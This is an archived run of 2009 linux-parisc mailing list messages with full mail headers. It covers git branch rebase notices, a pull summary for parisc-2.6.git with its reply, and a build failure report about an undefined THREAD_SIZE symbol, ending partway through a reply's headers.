Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2214>

On Sun, Sep 27, 2009 at 02:21:50PM -0400, John David Anglin wrote:
> Hi Kyle,
> 
> I noticed today that this change is not in 2.6.31.1.
> 

Dunno what happened... I must have updated patchwork and missed it in a
rebase locally.

From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Mon, 28 Sep 2009 03:44:40 GMT
Lines: 6
Approved: news@gmane.org
Message-ID: <200909280344.n8S3ie29013397@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1254109915 20260 80.91.229.12 (28 Sep 2009 03:51:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 03:51:55 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 05:51:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms7HA-0003oh-BH
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 05:51:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752397AbZI1Dvm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 23:51:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752729AbZI1Dvm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 23:51:42 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:36342 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752650AbZI1Dog (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 23:44:36 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19OndauROG3e4ZZ6yMeD/QdiTmdilpGslU@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n8S3ievZ013400
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 28 Sep 2009 03:44:40 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n8S3ie29013397
	for linux-parisc@vger.kernel.org; Mon, 28 Sep 2009 03:44:40 GMT
X-Virus-Scanned: ClamAV 0.93.3/9842/Sun Sep 27 12:30:31 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.9 required=5.0 tests=AWL,BAYES_05,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 28 Sep 2009 03:44:40 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2215>

Rebased ref, commits from common ancestor:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Mon, 28 Sep 2009 04:26:02 GMT
Lines: 24
Approved: news@gmane.org
Message-ID: <200909280426.n8S4Q29H013382@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1254111984 23926 80.91.229.12 (28 Sep 2009 04:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 04:26:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 06:26:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms7oW-0002HX-OV
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 06:26:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751398AbZI1E0L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Sep 2009 00:26:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751599AbZI1E0L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Sep 2009 00:26:11 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:51984 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751398AbZI1E0L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Sep 2009 00:26:11 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/sgwBAAoKSVIUZwb4Wh7dVjroNzzNnRps@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n8S4Q2wd013385
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 28 Sep 2009 04:26:02 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n8S4Q29H013382
	for linux-parisc@vger.kernel.org; Mon, 28 Sep 2009 04:26:02 GMT
X-Virus-Scanned: ClamAV 0.93.3/9843/Mon Sep 28 02:23:36 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 28 Sep 2009 04:26:15 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2216>

Rebased ref, commits from common ancestor:
commit 8cf06fc9bd660c28afea4115fd91a2cc4978eb54
Author: Helge Deller <deller@gmx.de>
Date:   Mon Sep 28 00:39:47 2009 +0200

    parisc: Fix linker script breakage.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9609bfec6d869bc0d82ccfb909d5e72b7002d813
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 4 14:54:41 2009 +0200

    parisc: convert to asm-generic/hardirq.h
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Mon, 28 Sep 2009 04:26:18 GMT
Lines: 24
Approved: news@gmane.org
Message-ID: <200909280426.n8S4QIGu013447@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1254111987 23932 80.91.229.12 (28 Sep 2009 04:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 04:26:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 06:26:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms7oa-0002HX-At
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 06:26:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751599AbZI1E0P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Sep 2009 00:26:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751701AbZI1E0P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Sep 2009 00:26:15 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:51987 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751599AbZI1E0P (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Sep 2009 00:26:15 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX184yewEOEU4sIqpoAUIs6B38fN/8N3/vMg@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n8S4QI3U013450
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 28 Sep 2009 04:26:18 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n8S4QIGu013447
	for linux-parisc@vger.kernel.org; Mon, 28 Sep 2009 04:26:18 GMT
X-Virus-Scanned: ClamAV 0.93.3/9843/Mon Sep 28 02:23:36 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 28 Sep 2009 04:26:19 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2217
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2217>

Rebased ref, commits from common ancestor:
commit 8cf06fc9bd660c28afea4115fd91a2cc4978eb54
Author: Helge Deller <deller@gmx.de>
Date:   Mon Sep 28 00:39:47 2009 +0200

    parisc: Fix linker script breakage.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9609bfec6d869bc0d82ccfb909d5e72b7002d813
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 4 14:54:41 2009 +0200

    parisc: convert to asm-generic/hardirq.h
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: What's in parisc-2.6.git
Date: Mon, 28 Sep 2009 16:25:22 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <20090928162522.GA22368@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254155137 19556 80.91.229.12 (28 Sep 2009 16:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 16:25:37 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, deller@gmx.de
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 18:25:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MsJ2W-00040N-2B
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 18:25:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752677AbZI1QZX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Sep 2009 12:25:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752681AbZI1QZX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Sep 2009 12:25:23 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:33024 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752677AbZI1QZW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Sep 2009 12:25:22 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/m1rSa+yx7MtSKBMuFma+BjJD6ds/6dzY@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n8SGPNgr022922
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 28 Sep 2009 16:25:23 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n8SGPMgW022921;
	Mon, 28 Sep 2009 16:25:22 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9844/Mon Sep 28 15:39:01 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 28 Sep 2009 16:25:23 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2218 gmane.linux.kernel:895209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2218>

Rebased on top of v2.6.32-rc1, fixed tracehook. Seems to build alright
on my pa8800 in a few different configs. Is anything missing?

regards, Kyle

The following changes since commit 17d857be649a21ca90008c6dc425d849fa83db5c:
  Linus Torvalds (1):
        Linux 2.6.32-rc1

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git parisc

Christoph Hellwig (1):
      parisc: convert to asm-generic/hardirq.h

Helge Deller (2):
      parisc: rename parisc's vmalloc_start to parisc_vmalloc_start
      parisc: Fix linker script breakage.

James Bottomley (1):
      parisc: add me to Maintainers

Jaswinder Singh Rajput (1):
      parisc: includecheck fix: signal.c

Julia Lawall (1):
      parisc: correct use of SHF_ALLOC

Kyle McMartin (7):
      parisc: tracehook_report_syscall
      parisc: tracehook_signal_handler
      parisc: add missing TI_TASK macro in syscall.S
      parisc: split syscall_trace into two halves
      parisc: stop using task->ptrace for {single,block}step flags
      parisc: add skeleton syscall.h
      parisc: HAVE_ARCH_TRACEHOOK

Tim Abbott (1):
      parisc: Make THREAD_SIZE available to assembly files and linker scripts.

 MAINTAINERS                           |    1 +
 arch/parisc/Kconfig                   |    1 +
 arch/parisc/include/asm/fixmap.h      |    4 +-
 arch/parisc/include/asm/hardirq.h     |   20 +---------------
 arch/parisc/include/asm/ptrace.h      |    5 +++-
 arch/parisc/include/asm/syscall.h     |   40 +++++++++++++++++++++++++++++++
 arch/parisc/include/asm/thread_info.h |   14 +++++++----
 arch/parisc/kernel/asm-offsets.c      |    4 +-
 arch/parisc/kernel/entry.S            |   21 ++++++++--------
 arch/parisc/kernel/irq.c              |    5 ----
 arch/parisc/kernel/module.c           |    2 +-
 arch/parisc/kernel/ptrace.c           |   42 ++++++++++++++++----------------
 arch/parisc/kernel/signal.c           |    5 +++-
 arch/parisc/kernel/syscall.S          |   22 +++++++++++------
 arch/parisc/kernel/vmlinux.lds.S      |   10 ++++++++
 arch/parisc/mm/init.c                 |   11 ++++----
 16 files changed, 127 insertions(+), 80 deletions(-)
 create mode 100644 arch/parisc/include/asm/syscall.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: What's in parisc-2.6.git
Date: Mon, 28 Sep 2009 22:19:21 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <4AC11A49.7080009@gmx.de>
References: <20090928162522.GA22368@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254169185 3525 80.91.229.12 (28 Sep 2009 20:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 20:19:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753204AbZI1UTZ@vger.kernel.org Mon Sep 28 22:19:38 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753204AbZI1UTZ@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MsMh7-0007Gr-7T
	for glk-linux-kernel-3@lo.gmane.org; Mon, 28 Sep 2009 22:19:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753204AbZI1UTZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 28 Sep 2009 16:19:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753188AbZI1UTY
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 28 Sep 2009 16:19:24 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51455 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753170AbZI1UTT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 28 Sep 2009 16:19:19 -0400
Original-Received: (qmail invoked by alias); 28 Sep 2009 20:19:22 -0000
Original-Received: from p4FDB2B78.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.120]
  by mail.gmx.net (mp008) with SMTP; 28 Sep 2009 22:19:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/80mYXMRb8Jo3awBnt2YUUGb6pJDUmMrNE5VFEuH
	A25UFUKWy/zciO
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <20090928162522.GA22368@hera.kernel.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:895284 gmane.linux.ports.parisc:2219
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2219>

On 09/28/2009 06:25 PM, Kyle McMartin wrote:
> Rebased on top of v2.6.32-rc1, fixed tracehook. Seems to build alright
> on my pa8800 in a few different configs. Is anything missing?


I did tested it on my boxes as well, and it seems OK.
Nothing important missing.
Thanks Kyle!

Helge

> regards, Kyle
>
> The following changes since commit 17d857be649a21ca90008c6dc425d849fa83db5c:
>    Linus Torvalds (1):
>          Linux 2.6.32-rc1
>
> are available in the git repository at:
>
>    git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git parisc
>
> Christoph Hellwig (1):
>        parisc: convert to asm-generic/hardirq.h
>
> Helge Deller (2):
>        parisc: rename parisc's vmalloc_start to parisc_vmalloc_start
>        parisc: Fix linker script breakage.
>
> James Bottomley (1):
>        parisc: add me to Maintainers
>
> Jaswinder Singh Rajput (1):
>        parisc: includecheck fix: signal.c
>
> Julia Lawall (1):
>        parisc: correct use of SHF_ALLOC
>
> Kyle McMartin (7):
>        parisc: tracehook_report_syscall
>        parisc: tracehook_signal_handler
>        parisc: add missing TI_TASK macro in syscall.S
>        parisc: split syscall_trace into two halves
>        parisc: stop using task->ptrace for {single,block}step flags
>        parisc: add skeleton syscall.h
>        parisc: HAVE_ARCH_TRACEHOOK
>
> Tim Abbott (1):
>        parisc: Make THREAD_SIZE available to assembly files and linker scripts.
>
>   MAINTAINERS                           |    1 +
>   arch/parisc/Kconfig                   |    1 +
>   arch/parisc/include/asm/fixmap.h      |    4 +-
>   arch/parisc/include/asm/hardirq.h     |   20 +---------------
>   arch/parisc/include/asm/ptrace.h      |    5 +++-
>   arch/parisc/include/asm/syscall.h     |   40 +++++++++++++++++++++++++++++++
>   arch/parisc/include/asm/thread_info.h |   14 +++++++----
>   arch/parisc/kernel/asm-offsets.c      |    4 +-
>   arch/parisc/kernel/entry.S            |   21 ++++++++--------
>   arch/parisc/kernel/irq.c              |    5 ----
>   arch/parisc/kernel/module.c           |    2 +-
>   arch/parisc/kernel/ptrace.c           |   42 ++++++++++++++++----------------
>   arch/parisc/kernel/signal.c           |    5 +++-
>   arch/parisc/kernel/syscall.S          |   22 +++++++++++------
>   arch/parisc/kernel/vmlinux.lds.S      |   10 ++++++++
>   arch/parisc/mm/init.c                 |   11 ++++----
>   16 files changed, 127 insertions(+), 80 deletions(-)
>   create mode 100644 arch/parisc/include/asm/syscall.h
>


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Thu, 1 Oct 2009 03:39:51 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <200910010339.52904.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254361204 15419 80.91.229.12 (1 Oct 2009 01:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Oct 2009 01:40:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 01 03:39:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtAeC-0004OP-P8
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Oct 2009 03:39:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755336AbZJABju (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Sep 2009 21:39:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755344AbZJABju
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Sep 2009 21:39:50 -0400
Original-Received: from Cpsmtpm-eml109.kpnxchange.com ([195.121.3.13]:51715 "EHLO
	CPSMTPM-EML109.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755336AbZJABju (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Sep 2009 21:39:50 -0400
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML109.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Thu, 1 Oct 2009 03:39:53 +0200
User-Agent: KMail/1.9.9
Content-Disposition: inline
X-OriginalArrivalTime: 01 Oct 2009 01:39:53.0757 (UTC) FILETIME=[12FBBCD0:01CA4238]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2220>

v2.6.32-rc1-134-g84d88d5 fails to compile on my hppa box:
[...]
  LD      vmlinux.o
  MODPOST vmlinux.o
  GEN     .version
  CHK     include/linux/compile.h
  UPD     include/linux/compile.h
  CC      init/version.o
  LD      init/built-in.o
  LD      .tmp_vmlinux1
arch/parisc/kernel/vmlinux.lds:319: undefined symbol `THREAD_SIZE' 
referenced in expression
make[5]: *** [.tmp_vmlinux1] Error 1

Failure above was with default config, but I've also seen it with my own 
config.

System is running Debian unstable.

Cheers,
FJP
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Wed, 30 Sep 2009 22:05:41 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440909301905v26cbeb76o91be0bd674461fbb@mail.gmail.com>
References: <200910010339.52904.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1254362751 18422 80.91.229.12 (1 Oct 2009 02:05:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Oct 2009 02:05:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Frans Pop <elendil@planet.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 01 04:05:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtB39-0001qt-G7
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Oct 2009 04:05:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755436AbZJACFi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Sep 2009 22:05:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755441AbZJACFi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Sep 2009 22:05:38 -0400
Original-Received: from mail-bw0-f210.google.com ([209.85.218.210]:36182 "EHLO
	mail-bw0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755436AbZJACFh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Sep 2009 22:05:37 -0400
Original-Received: by bwz6 with SMTP id 6so3289561bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 30 Sep 2009 19:05:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=YN3UgKD0J52XGOrvt2RasftxJSpJvV5jBkv71QLAcEM=;
        b=KOqQHl18gAVc+oxqrgxVtEgcynJhFyPqEprz2zw5/yvlOSo/X1UZxApphBiKTvj70o
         CWJzdwRKMYfKVJ5csVDR4Sw/2SKjZhS9WLRWQ4CJ06etO67ZyEkqMR3UG7dOyk+jDVrw
